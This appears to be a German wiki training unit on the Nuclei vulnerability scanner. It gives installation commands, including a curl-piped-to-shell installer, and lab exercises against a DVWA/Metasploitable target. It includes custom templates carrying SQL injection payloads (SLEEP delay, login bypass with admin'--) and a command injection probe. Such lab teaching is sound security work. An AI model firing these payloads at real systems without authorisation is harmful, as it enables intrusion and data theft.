Schwachstellenscans mit Nuclei
Version vom 12. Mai 2025, 15:36 Uhr von Thomas.will (Diskussion | Beiträge) (Die Seite wurde neu angelegt: „= Schulungseinheit: Schwachstellenscans mit Nuclei = == Thema == *Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates == Ziel == *T…“)
Schulungseinheit: Schwachstellenscans mit Nuclei
Thema
- Nuclei – Automatisierter Schwachstellenscanner mit YAML-basierten Templates
Ziel
- Teilnehmende verstehen Aufbau und Funktionsweise von Nuclei
- Sie führen zielgerichtete Schwachstellenscans durch und werten die Ergebnisse aus
- Sie lernen, eigene Templates für spezifische Lücken zu erstellen
1. Vorbereiten: Einstieg & Motivation
- Nuclei ist ein schneller, template-basierter Schwachstellenscanner für Webanwendungen und Infrastruktur
- Es nutzt YAML-Templates zur Erkennung von Schwachstellen wie:
- CVEs
- OWASP Top 10
- Fehlkonfigurationen
- Technologieerkennung
- Header- oder Cookie-Manipulation
- Automatisierte Schwachstellenerkennung auf mehreren Targets gleichzeitig
- Einfache Integration in CI/CD, eigene Tools und Laborszenarien
2. Vormachen/Erklären: Grundlagen & Aufbau
Installation
- Offizielle Binärdatei:
curl -sL https://raw.githubusercontent.com/projectdiscovery/nuclei/v3/bin/install.sh | sh
- Oder mit Go:
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
Templates aktualisieren
nuclei -update-templates
Grundstruktur eines Befehls
nuclei -u <ziel> -t <template> -severity <level>
Wichtige Optionen
- -u: Einzelnes Ziel (z.B. -u https://ziel.local)
- -l: Liste von Zielen (targets.txt)
- -t: Template oder Verzeichnis (z.B. cves/, exposures/)
- -severity: Filter nach Schweregrad
- -rate-limit: Requests pro Sekunde
- -timeout / -retries: Scan-Zuverlässigkeit
- -proxy: z.B. für Burp-Suite
- -json / -o: Berichte
Beispielhafter Scan
nuclei -u https://ziel.local -t cves/ -severity critical -rate-limit 50
Templates anzeigen
nuclei -tl
Ergebnis speichern
nuclei -u https://ziel.local -o ergebnisse.json -json
3. Nachmachen/Üben: Aufgaben am Zielsystem
Voraussetzungen
- Angreifer: Kali-Linux mit Nuclei
- Ziel: Web-Appliance (z.B. DVWA, Metasploitable2) erreichbar unter http://10.0.10.104
- Datei mit Ziel-IP:
echo "http://10.0.10.104" > targets.txt
Aufgabe 1
- Führe einen allgemeinen Schwachstellenscan gegen das Ziel aus:
nuclei -l targets.txt -severity high,critical
Aufgabe 2
- Suche gezielt nach SQL-Injection-Lücken:
nuclei -l targets.txt -tags sqli
Aufgabe 3
- Unterscheide klassische SQLi von Blind SQLi:
nuclei -l targets.txt -tags sqli-blind
Aufgabe 4
- Finde eine funktionierende Command Injection:
nuclei -l targets.txt -tags cmd-injection
Aufgabe 5
- Scanne mit Proxy (z. B. Burp):
nuclei -l targets.txt -proxy http://127.0.0.1:8080
Aufgabe 6
- Erzeuge einen JSON-Report:
nuclei -l targets.txt -o report.json -json
4. Selbstständige Anwendung: Eigene Templates
Ziel
Teilnehmende erstellen ein eigenes Template für eine bekannte Schwachstelle
Beispiel 1: Blind SQL Injection
id: custom-blind-sqli
info:
name: Blind SQLi Test (Sleep Delay)
severity: high
tags: sqli,blind
requests:
- method: GET
path:
- "{{BaseURL}}/vuln.php?id=1' AND SLEEP(5)--"
matchers:
- type: dsl
dsl:
- duration>=5
- Ausführen:
nuclei -t ./custom-blind-sqli.yaml -u http://10.0.10.104
Beispiel 2: Command Injection
id: custom-cmd-injection
info:
name: CMD Injection (id)
severity: critical
tags: cmd-injection
requests:
- method: GET
path:
- "{{BaseURL}}/cmd.php?cmd=id"
matchers:
- type: word
words:
- "uid="
Beispiel 3: POST-basierte SQL Injection
id: custom-post-sqli
info:
name: POST SQL Injection
severity: high
tags: sqli,post
requests:
- method: POST
path:
- "{{BaseURL}}/login.php"
body: "user=admin'--&pass=test"
headers:
Content-Type: application/x-www-form-urlencoded
matchers:
- type: word
words:
- "Welcome"
Hinweise zur Nachbereitung
- Ergebnisse besprechen, kritisch hinterfragen
- Unterschiede zwischen False Positives und echten Lücken erkennen
- Sicherer Umgang mit Schwachstellen-Informationen
- Vorschläge zur Behebung